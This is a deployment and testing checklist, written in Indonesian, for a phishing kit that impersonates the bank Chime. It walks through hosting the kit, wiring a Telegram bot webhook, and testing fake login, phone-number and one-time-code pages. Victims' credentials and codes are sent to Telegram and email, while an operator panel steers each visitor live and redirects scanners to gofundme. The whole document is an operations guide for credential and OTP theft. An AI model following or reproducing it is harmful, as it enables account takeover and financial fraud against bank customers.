# PROJECT-NEW (Chime) — Upload Checklist

## 1. Upload ke WHM
- [ ] Upload folder `PROJECT-NEW/` ke subfolder di WHM (misal: `public_html/chime/`)
- [ ] Pastiin struktur folder utuh:
  - `index.php`
  - `.htaccess`
  - `function/` (config.json, settings.php, webhook.php)
  - `dash/` (chimelogin, chimewrongpass, chimephonenumber, chimeotp, waiting, errorPage, finish)
  - `Karimun/` (login, dashboard, settings, users, blacklist)
  - `assets/` (CSS, JS, images, fonts, video)
  - `log/` (semua file .log + visitor_state.json)

## 2. Set Config
- [ ] Buka `Karimun/settings` di browser (misal: `domain.com/chime/Karimun/settings`)
- [ ] Set Bot Token (Userid)
- [ ] Set Chat ID / User ID (ChanelID)
- [ ] Set Live Panel Mode (default: on)
- [ ] Set Result Email (email buat non-live panel)
- [ ] Set Parameter (default: chime)
- [ ] Set Redirect Block (default: gofundme)
- [ ] Save settings

## 3. Set Telegram Webhook
- [ ] Buka browser, akses:
  ```
  https://api.telegram.org/bot<TOKEN>/setWebhook?url=https://domain.com/chime/function/webhook.php
  ```
- [ ] Pastiin response: `{"ok":true,"result":true,"description":"Webhook was set"}`
- [ ] Test webhook: kirim `/start` ke bot tele, pastiin bot response

## 4. Set Permissions
- [ ] `log/` folder: 755
- [ ] `log/*.log` files: 644
- [ ] `log/visitor_state.json`: 666 (writable)
- [ ] `function/config.json`: 666 (writable, biar panel bisa save settings)
- [ ] `assets/video/`: 755
- [ ] `assets/video/354980.mp4`: 644

## 5. Test Flow — Live Panel
- [ ] Buka `domain.com/chime/?chime` → chimelogin.php tampil (dark mode, Chime logo)
- [ ] Input email + password → submit → tombol muncul di Telegram
- [ ] Klik "📱 PHONENUMBER" → visitor redirect ke chimephonenumber.php
- [ ] Input phone → submit → tombol muncul di Telegram
- [ ] Klik "🔢 OTP" → visitor redirect ke chimeotp.php
- [ ] Input 6-digit OTP → submit → tombol muncul di Telegram
- [ ] Klik "❌ WRONG PASS" → visitor redirect ke chimewrongpass.php (email+password pre-filled)
- [ ] Klik "❌ X PHONENUMBER" → bot minta 2 digit → input 2 digit → visitor redirect ke chimephonenumber.php (masking mode)

## 6. Test Flow — Non-Live Panel
- [ ] Set Live Panel Mode = "Non-Live Panel" di Karimun settings
- [ ] Buka `domain.com/chime/?chime` → chimelogin.php
- [ ] Input email + password → submit → auto redirect ke chimephonenumber.php (tanpa waiting)
- [ ] Cek Telegram → data masuk
- [ ] Cek Email → data masuk
- [ ] Input phone → submit → auto redirect ke chimeotp.php
- [ ] Input OTP → submit → auto redirect ke finish (chime.com)
- [ ] Cek Telegram + Email → semua data masuk

## 7. Test Anti-Spam
- [ ] Buka chimelogin.php → klik "Sign in" berkali-kali cepat
- [ ] Cek Telegram → hanya 1x data masuk (bukan berkali-kali)
- [ ] Ulangin di chimephonenumber.php dan chimeotp.php

## 8. Test Panel Karimun
- [ ] Buka `domain.com/chime/Karimun` → login page (beach video bg)
- [ ] Login dengan password "def"
- [ ] Dashboard tampil dengan stats
- [ ] Settings page bisa save config
- [ ] Users page bisa lihat visitor list
- [ ] Blacklist page bisa add/delete IP

## 9. Final Checks
- [ ] Auto-detect subfolder: test di subfolder berbeda (misal `/chime/` dan `/test/chime/`)
- [ ] Mobile responsive: test di HP / devtools mobile view
- [ ] Dark mode: chimelogin.php tampil dark mode default
- [ ] Font Chime: load dari lokal (ChimeSaansText woff2)
- [ ] Favicon: Chime icon tampil di tab browser

## 10. Post-Upload Fixes (kalau ada issue)
- [ ] Kalau curl error → enable curl di php.ini
- [ ] Kalau 404 → cek .htaccess RewriteBase
- [ ] Kalau session hilang → pastiin session_start() di semua page
- [ ] Kalau gofundme → pastiin URL pakai ?chime (atau parameter yg di-set)
- [ ] Kalau video ngga load → cek permission file mp4 (644)
